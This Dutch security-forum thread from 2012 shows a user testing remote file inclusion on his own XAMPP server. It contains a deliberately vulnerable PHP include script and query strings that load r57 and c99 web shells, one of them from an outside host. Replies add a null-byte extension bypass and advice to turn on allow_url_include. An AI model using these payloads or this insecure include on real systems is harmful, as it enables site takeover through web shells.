Computerbeveiliging - Hoe je bad guys buiten de deur houdt

RFI doet het niet

04-09-2012, 15:40 door blackyy, 8 reacties
Hoi,

Ik heb een paar php scripts gedownload die te hacken zijn het RFI.
Maar als ik een txt shell met ''?'' erachter zet zie ik geen shell verschijnen.

Hoe kan dat?
Reacties (8)
04-09-2012, 15:43 door regenpijp
Wat is de extensie van je shell? zou iets van .php, .pl, etc moeten zijn.

Verder zou je wat meer informatie moeten geven over de omgeving van die RFI.
04-09-2012, 15:53 door blackyy
Ik heb een php file gemaakt met kladblok met deze code:

<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>

Als ik dan naar ?COLOR=http://127.0.0.1/r57.php? ga of naar ?COLOR=http://c99.gen.tr/c99.txt? ga dan zie ik geen shell.

Help
04-09-2012, 16:00 door regenpijp
Dat script zegt sowieso, $color + .php, dus moet je sowieso uitkijken met je extensies, aangezien achter iedere invoer .php wordt toegevoegd.

Ik zou wat proberen als ?COLOR=http://127.0.0.1/r57 waar je r57 (php) script r57 heet zonder extensie of wat met een null-byte in de vorm van ?COLOR=http://127.0.0.1/r57.php%00, waar je script wel r57.php heet.
04-09-2012, 16:13 door SirDice
Door regenpijp: Ik zou wat proberen als ?COLOR=http://127.0.0.1/r57 waar je r57 (php) script r57 heet zonder extensie of wat met een null-byte in de vorm van ?COLOR=http://127.0.0.1/r57.php%00, waar je script wel r57.php heet.
Is het niet simpeler om dat script gewoon even te renamen naar r57.php?

"?COLOR=http://127.0.0.1/r57" wordt dan:
include( "http://127.0.0.1/r57.php");
04-09-2012, 17:03 door blackyy
Deze doet het ook niet: http://127.0.0.1/kutt.php?COLOR=http://127.0.0.1/file.php? (fil.php is de shell)

ik krijg dan dit:Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\xampp\htdocs\kutt.php on line 5

Warning: include(http://127.0.0.1/file.php): failed to open stream: no suitable wrapper could be found in C:\xampp\htdocs\kutt.php on line 5

Warning: include(): Failed opening 'http://127.0.0.1/file.php' for inclusion (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\kutt.php on line 5

Help!
04-09-2012, 17:56 door 0101
Je server is om veiligheidsredenen zo geconfigureerd dat includen via HTTP is uitgeschakeld. Mooi werk! ;-)

Je kunt dit waarschijnlijk weer inschakelen in het php.ini bestand. (http://php.net/manual/en/configuration.file.php)
04-09-2012, 20:19 door blackyy
Door 0101: Je server is om veiligheidsredenen zo geconfigureerd dat includen via HTTP is uitgeschakeld. Mooi werk! ;-)

Je kunt dit waarschijnlijk weer inschakelen in het php.ini bestand. (http://php.net/manual/en/configuration.file.php)


ik gebruik XAMPP hoe kan ik http inschakelen?

Dank!
05-09-2012, 12:38 door Security Scene Team
Door blackyy:
Door 0101: Je server is om veiligheidsredenen zo geconfigureerd dat includen via HTTP is uitgeschakeld. Mooi werk! ;-)

Je kunt dit waarschijnlijk weer inschakelen in het php.ini bestand. (http://php.net/manual/en/configuration.file.php)


ik gebruik XAMPP hoe kan ik http inschakelen?

Dank!

niet http inschakelen, het includen gaat het om. zoek in je php.ini om dit allow_url_include, en zet het op 1 ipv 0
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.

Zoeken
search
Certified Secure Happy Holidays